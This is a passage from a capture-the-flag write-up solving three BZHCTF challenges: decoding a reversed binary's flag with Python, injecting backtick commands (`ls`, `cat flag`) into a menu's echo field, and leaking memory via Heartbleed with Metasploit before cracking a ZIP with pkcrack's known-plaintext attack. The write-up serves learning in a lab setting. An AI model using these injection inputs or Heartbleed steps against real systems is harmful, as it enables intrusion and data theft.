  925:  48 81 c4 88 00 00 00    add    rsp,0x88
  92c:  5b                      pop    rbx
  92d:  5d                      pop    rbp
  92e:  c3                      ret
  92f:  90                      nop

We can see here that the program compares our input against the data previously moved onto the stack. If it matches, data is loaded from .rodata section and the program print the value pointed to by 0x9e0 + char - 32 address. Using objdump -s -j .rodata command, we can view the loaded data.

Contents of section .rodata:
 09c0 01000200 00000000 00000000 00000000  ................
 09d0 00000000 00000000 00000000 00000000  ................
 09e0 30313233 34353637 38396162 63646566  0123456789abcdef
 09f0 6768696a 6b6c6d6e 6f707172 73747576  ghijklmnopqrstuv
 0a00 7778797a 41424344 45464748 494a4b4c  wxyzABCDEFGHIJKL
 0a10 4d4e4f50 51525354 55565758 595a5f00  MNOPQRSTUVWXYZ_.
 0a20 576f7565 72652069 7a652042 7269616e  Wouere ize Brian
 0a30 653f3a00 425a4843 54467b00           e?:.BZHCTF{.

Knowing this, all we have to do is to write a python script doing these operations.

#!/usr/bin/env python

table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_"

enc =  [0x21,0x3d,0x5e,0x32,0x25,0x5e,0x25,0x52,0x5e,0x56,0x32,
        0x50,0x39,0x21,0x48,0x5e,0x55,0x32,0x29,0x4b,0x27,0x27]

flag = ''
for i in enc:
    flag += table[i - 32]
print 'BZHCTF{%s}' % flag

The flag was: BZHCTF{1t_i5_5O_SiMp1E_Ri9H7}

System - BabySys

50 points

A baby system challenge, remotely hosted.

We had to choose an action

What does the cow say!

1. Cow fortune
2. Cow time
3. Cow echo
4. Exit

Select: 2
 ______________________________
< Sat Apr 21 00:15:15 UTC 2018 >
 ------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Choosing Cow time gave us the exact same output as the date command. So, we supposed that the program is calling system(2) function.

What does the cow say!

1. Cow fortune
2. Cow time
3. Cow echo
4. Exit

Select: 3
What do you want to say? `ls`
 ____________
< cowoc flag >
 ------------
        \   ^__^
         \  (**)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||

What does the cow say!

1. Cow fortune
2. Cow time
3. Cow echo
4. Exit

Select: 3
What do you want to say? `cat flag`
 ____________________________________
< BZHCTF{wh3n_1_s4y_C0w_Y0u_s4y_C0w} >
 ------------------------------------
        \   ^__^
         \  ($$)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Using the Cow echo command, we managed to escape the command line with backticks and execute commands to read the flag. The flag was: BZHCTF{wh3n_1_s4y_C0w_Y0u_s4y_C0w}.

Web / Forensics - HAAS

250 points

This was a web challenge, so when we went to the URL, we obtained this result:
HAAS_Web
The pictures displayed in this web page are stored in an "images" folder. A directory listing is present on this web page:
HAAS_DL
We can notice that the URL is in HTTPS. If we sum up : in this challenge, we have a static web page, a directory listing in a folder images, and a website in HTTPS. So the first test was to run a testssl:

./testssl.sh https://148.60.87.243:13443/
[...]
Testing vulnerabilities

Heartbleed (CVE-2014-0160)                VULNERABLE (NOT ok)
CCS (CVE-2014-0224)                       VULNERABLE (NOT ok)
Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK), memory fragments do not differ
Secure Renegotiation (CVE-2009-3555)      not vulnerable (OK)
Secure Client-Initiated Renegotiation     not vulnerable (OK)
CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)
BREACH (CVE-2013-3587)                    potentially NOT ok, uses gzip HTTP compression. - only supplied "/" tested
                                          Can be ignored for static pages or if no secrets in the page
POODLE, SSL (CVE-2014-3566)               VULNERABLE (NOT ok), uses SSLv3+CBC (check TLS_FALLBACK_SCSV mitigation below)
TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention NOT supported and vulnerable to POODLE SSL
SWEET32 (CVE-2016-2183, CVE-2016-6329)    VULNERABLE, uses 64 bit block ciphers
FREAK (CVE-2015-0204)                     not vulnerable (OK)
DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)
LOGJAM (CVE-2015-4000), experimental      Common prime with 2048 bits detected: RFC3526/Oakley Group 14,
                                          but no DH EXPORT ciphers
BEAST (CVE-2011-3389)                     SSL3: ECDHE-RSA-AES256-SHA DHE-RSA-AES256-SHA DHE-RSA-CAMELLIA256-SHA AES256-SHA CAMELLIA256-SHA ECDHE-RSA-AES128-SHA DHE-RSA-AES128-SHA
                                                DHE-RSA-SEED-SHA DHE-RSA-CAMELLIA128-SHA AES128-SHA SEED-SHA CAMELLIA128-SHA ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA DES-CBC3-SHA
                                          TLS1: ECDHE-RSA-AES256-SHA DHE-RSA-AES256-SHA DHE-RSA-CAMELLIA256-SHA AES256-SHA CAMELLIA256-SHA ECDHE-RSA-AES128-SHA DHE-RSA-AES128-SHA
                                                DHE-RSA-SEED-SHA DHE-RSA-CAMELLIA128-SHA AES128-SHA SEED-SHA CAMELLIA128-SHA ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA DES-CBC3-SHA
                                          VULNERABLE -- but also supports higher protocols (possible mitigation): TLSv1.1 TLSv1.2
LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS
RC4 (CVE-2013-2566, CVE-2015-2808)        VULNERABLE (NOT ok): ECDHE-RSA-RC4-SHA RC4-SHA
[...]

We noticed that the web server is vulnerable to Heartbleed. So let's exploit it with Metasploit !

msfconsole
[...]
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 148.60.87.243:13443
msf auxiliary(scanner/ssl/openssl_heartbleed) > exploit

[*] 148.60.87.243:13443   - Sending Client Hello...
[...]
[*] 148.60.87.243:13443   - Sending Heartbeat...
[*] 148.60.87.243:13443   - Heartbeat response, 65535 bytes
[+] 148.60.87.243:13443   - Heartbeat response with leak
[*] 148.60.87.243:13443   - Printable info leaked:
......Z.e.E.L...5..msC.. ..N..w.|....K..f.....".!.9.8.........5.............................3.2.....E.D...../...A.............................................}.....9.k.......|...3.g.E.......U.............................................................................http/1.1............................................................................................................................................................................................................................................e divisa alors en 3 branches: le gallois et le cornique dans l'..le, et le breton proprement dit sur le continent, d'o.. disparaissait le gaulois. Apr..s cette edifiante histoire de la bretagne; un chaton trop mignon pour toi :) !! (c'est le meme mot de passe que la derniere fois) UEsDBAoACQAAAGZcR0wGiulXtgIAAKoCAAAdABwAdGh1bWIuMTB4MTAuY2hhdG9uLWJyZXRvbi5qcGdVVAkAA2DWelpg1npadXgLAAEE6AMAAAToAwAAygynq8t+ZklS8jeEgau7JMt7km/1ySUNgG9RuL5ryHjGMrvK+QsaUVh3+J72YoSwtlrZqx6LQrdOF1eAXk4xJ0lPLu6pkmPmmOIlk78sG67jUn9ppcOiDE28q89Ch+veRyRdB+0AcXsdkMmzdSdQAuaA6DHSuxTnUOBYU7vU7ATmbot/V3pbhcDf2dkLOvY4JITKeZhx+dga79xDuzCIJij7xWRimJLfozPew4PieWaMsh4mfC6r1c+XJmWoZppa/JUksxJZzJ8OHrBSkIUXSjzN2qU1cKitqhzoVqX0aw6HeOKeHmjfe+GwFagwrbqtQ79q35UZmOIlSsmd1vRoODwHSCQDNsa7vQuxbbDazmKEMAGLvwzA+WxBiojSrQ07nTFjcbAetZRb+9EQ/H4hQLzj0yLyueun7OX+8I5/hwUUhrXEOSml4wDHtZeUkiEquNQSd3c504dXcWBD3FPm32SVeYpQr4S7Y9LOqH5RYueAqh5yyregwe5nZ4GWtb3HFZ6l5TwdADk9MG+UGl4dyZhatRoE8YmiQeU78NLpaPDs5PVUlTjGaEc9OoJrCfW9yJ7KtYpRUIf3OO4fna5Xvq/3qkVOFaUMdD9CFG4HsG35FEf8g9fZiCi6Yd4GbsbZjnOAUabtv/ihopgdi7fieFPwF7RMgoQtAKVAQ729Ajqq5oV9Bk2mTPIwFHGugowX6S88YZkZnOnMLFnEYrRPkFn3DTctLeO3taFHk3Km5ReoX9uekgCF4xATshIzAcFxHZmMA5w02dl0ZhTvOhIb0eCUJ/7CO15EPn1s9pO4ho7W8JXFu2zCsLgLoo1hr6aHomLp5xiFaY1Ko43SVm0gFYLKqIiiR2fV/l3U7mMcEgsgs1IYoqUO8MPH4pQ7deGnANGNO3o8Ce8Kqhb0PtUE1oQ70Zh7clBLBwgGiulXtgIAAKoCAABQSwMECgAJAAAAiFxHTIiqwFZtAAAAYQAAAAQAHABmbGFnVVQJAAOg1npattZ6WnV4CwABBOgDAAAE6AMAAIygk9ntI/ylsfIwhDyyh9lOmhYTFbZkkUsJcAXG4YOrUvL3JdektJqOdkQq9a1G5hzizGxKAxueQjdmKjnjPf64AJEnKDhHnONtYkPcBmsjunecew0xS0jlDAYhSie145m1G2ej67CaoWjLKxRQSwcIiKrAVm0AAABhAAAAUEsBAh4DCgAJAAAAZlxHTAaK6Ve2AgAAqgIAAB0AGAAAAAAAAAAAAKSBAAAAAHRodW1iLjEweDEwLmNoYXRvbi1icmV0b24uanBnVVQFAANg1npadXgLAAEE6AMAAAToAwAAUEsBAh4DCgAJAAAAiFxHTIiqwFZtAAAAYQAAAAQAGAAAAAAAAAAAAKSBHQMAAGZsYWdVVAUAA6DWelp1eAsAAQToAwAABOgDAABQSwUGAAAAAAIAAgCtAAAA2AMAAAAA..F.....~...l.....................................................................................................................................!........f..f...
[...]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

So we get a weird string... This one seems to be encoded in base64. Let's decode it :

python
>>> import base64
>>> string="UEsDBAoACQAAAGZcR0wGiulXtgIAAKoCAAAdABwAdGh1bWIuMTB4MTAuY2hhdG9uLWJyZXRvbi5qcGdVVAkAA2DWelpg1npadXgLAAEE6AMAAAToAwAAygynq8t+ZklS8jeEgau7JMt7km/1ySUNgG9RuL5ryHjGMrvK+QsaUVh3+J72YoSwtlrZqx6LQrdOF1eAXk4xJ0lPLu6pkmPmmOIlk78sG67jUn9ppcOiDE28q89Ch+veRyRdB+0AcXsdkMmzdSdQAuaA6DHSuxTnUOBYU7vU7ATmbot/V3pbhcDf2dkLOvY4JITKeZhx+dga79xDuzCIJij7xWRimJLfozPew4PieWaMsh4mfC6r1c+XJmWoZppa/JUksxJZzJ8OHrBSkIUXSjzN2qU1cKitqhzoVqX0aw6HeOKeHmjfe+GwFagwrbqtQ79q35UZmOIlSsmd1vRoODwHSCQDNsa7vQuxbbDazmKEMAGLvwzA+WxBiojSrQ07nTFjcbAetZRb+9EQ/H4hQLzj0yLyueun7OX+8I5/hwUUhrXEOSml4wDHtZeUkiEquNQSd3c504dXcWBD3FPm32SVeYpQr4S7Y9LOqH5RYueAqh5yyregwe5nZ4GWtb3HFZ6l5TwdADk9MG+UGl4dyZhatRoE8YmiQeU78NLpaPDs5PVUlTjGaEc9OoJrCfW9yJ7KtYpRUIf3OO4fna5Xvq/3qkVOFaUMdD9CFG4HsG35FEf8g9fZiCi6Yd4GbsbZjnOAUabtv/ihopgdi7fieFPwF7RMgoQtAKVAQ729Ajqq5oV9Bk2mTPIwFHGugowX6S88YZkZnOnMLFnEYrRPkFn3DTctLeO3taFHk3Km5ReoX9uekgCF4xATshIzAcFxHZmMA5w02dl0ZhTvOhIb0eCUJ/7CO15EPn1s9pO4ho7W8JXFu2zCsLgLoo1hr6aHomLp5xiFaY1Ko43SVm0gFYLKqIiiR2fV/l3U7mMcEgsgs1IYoqUO8MPH4pQ7deGnANGNO3o8Ce8Kqhb0PtUE1oQ70Zh7clBLBwgGiulXtgIAAKoCAABQSwMECgAJAAAAiFxHTIiqwFZtAAAAYQAAAAQAHABmbGFnVVQJAAOg1npattZ6WnV4CwABBOgDAAAE6AMAAIygk9ntI/ylsfIwhDyyh9lOmhYTFbZkkUsJcAXG4YOrUvL3JdektJqOdkQq9a1G5hzizGxKAxueQjdmKjnjPf64AJEnKDhHnONtYkPcBmsjunecew0xS0jlDAYhSie145m1G2ej67CaoWjLKxRQSwcIiKrAVm0AAABhAAAAUEsBAh4DCgAJAAAAZlxHTAaK6Ve2AgAAqgIAAB0AGAAAAAAAAAAAAKSBAAAAAHRodW1iLjEweDEwLmNoYXRvbi1icmV0b24uanBnVVQFAANg1npadXgLAAEE6AMAAAToAwAAUEsBAh4DCgAJAAAAiFxHTIiqwFZtAAAAYQAAAAQAGAAAAAAAAAAAAKSBHQMAAGZsYWdVVAUAA6DWelp1eAsAAQToAwAABOgDAABQSwUGAAAAAAIAAgCtAAAA2AMAAAAA"
>>> print base64.b64decode(string)
PK
    f\GL��W��thumb.10x10.chaton-breton.jpgUT `�zZ`zZux
                                                                   ���
oQ��kx2���                                                              ���~fIR7����$�{o��%
             QXw���b���Z٫�BNW^N1'IO.c���%��,��Ri�â
                                                         M���B���G$]q{�ɳu'P���1һ�P�XS����n�Wz[�����
                                                                                                        :8$��yq����C0&(��db��ߣ3�Ã�yf��&|.��ϗ&efZ��$�Y̟�R��J<�ڥ5p����V��kx��h{���0���Cjߕ��%Jɝ��h8<H$6ƻ�
             m���b0��
;1cq���[���~!@���"�������������9)��ǵ���!*��ww9ӇWq`C�S��d�y�P���c�Ψ~Qb瀪rʷ���gg��������<9=0o�^ɘZ����A�;���h����T�8�hG=:�k ��Ȟʵ�QP��8���W����EN�
                                                                                                                                                               t?Bnm�G���و(a�n�َsQ����������xS��L��-7--㷵�Gr���_۞����3�q���4��tf�:���'��;^D>}l��������Żl°�
                                                                 ��a����b���iJ���Vm �ʨ��Gg��]��c
                                                                                                      R�������;u��э;z<    
��>�ք;ј{rP��W��PK
    \GL���VmaflagUT  ��zZ��zZux
1KH                                       �������#����0�<���N��d�K   p�ძR��%פ���vD*��F���lJ�B7f*9�=���'(8G��mbC�k#�w�{
    !J'�㙵g�밚�h�+P���VmaPK
    f\GL��W����thumb.10x10.chaton-breton.jpgUT`�zZux
                                                              ��PK
    \GL���Vma��flagUT��zZux
                                     ��PK��

We can see the magic number "PK", which is the file signature of ZIP file (see Gary Kessler file signature table). If we put the decoded content in a file, we get a zip archive containing 2 files : flag & thumb.10x10.chaton-breton.jpg :

>>> import os
>>> file=open("test.zip","wb")
>>> file.write(base64.b64decode(string))
>>> file.close()

HAAS_ZIP

If we try to extract these files, a password is needed. Bruteforce is a possibility to retrieve the password. Another possibility is to try a known-plaintext attack as we know the unencrypted file thumb.10x10.chaton-breton.jpg from the URL https://148.60.87.243:13443/images/.
To do so, we used the tool named pkcrack :

mv thumb.10x10.chaton-breton.jpg cat_from_website.jpg
bin/extract test.zip "thumb.10x10.chaton-breton.jpg"

bin/pkcrack -c thumb.10x10.chaton-breton.jpg -p cat_from_website.jpg
Files read. Starting stage 1 on Sat Apr 21 00:59:45 2018
Generating 1st generation of possible key2_693 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Done. Left with 13112 possible Values. bestOffset is 24.
Stage 1 completed. Starting stage 2 on Sat Apr 21 00:59:53 2018
Ta-daaaaa! key0=fbe58abf, key1=97fec4ac, key2=6b3e6f78
Probabilistic test succeeded for 674 bytes.
Ta-daaaaa! key0=fbe58abf, key1=97fec4ac, key2=6b3e6f78
Probabilistic test succeeded for 674 bytes.
Ta-daaaaa! key0=fbe58abf, key1=97fec4ac, key2=6b3e6f78
Probabilistic test succeeded for 674 bytes.
Ta-daaaaa! key0=fbe58abf, key1=97fec4ac, key2=6b3e6f78
Probabilistic test succeeded for 674 bytes.
Ta-daaaaa! key0=fbe58abf, key1=97fec4ac, key2=6b3e6f78
Probabilistic test succeeded for 674 bytes.
Ta-daaaaa! key0=fbe58abf, key1=97fec4ac, key2=6b3e6f78
Probabilistic test succeeded for 674 bytes.
Stage 2 completed. Starting password search on Sat Apr 21 01:06:35 2018

bin/zipdecrypt fbe58abf 97fec4ac 6b3e6f78 test.zip decrypted.zip
Decrypting thumb.10x10.chaton-breton.jpg (bf433688fbbc05841131665c)... OK!
Decrypting flag (f939512b5ee030810e08885c)... OK!

The known-plaintext attack succeeded. We can now unzip the decrypted.zip file to get the flag :

unzip decrypted.zip
Archive:  decrypted.zip
 extracting: cat_ok.jpg
 extracting: flag

cat flag
 Ils sont trop mignons tes chatons !
 Tu as bien mérité un flag:
 bzhctf{h3rtbl33d_4s_4_S3rv1c3}

The flag was: bzhctf{h3rtbl33d_4s_4_S3rv1c3}.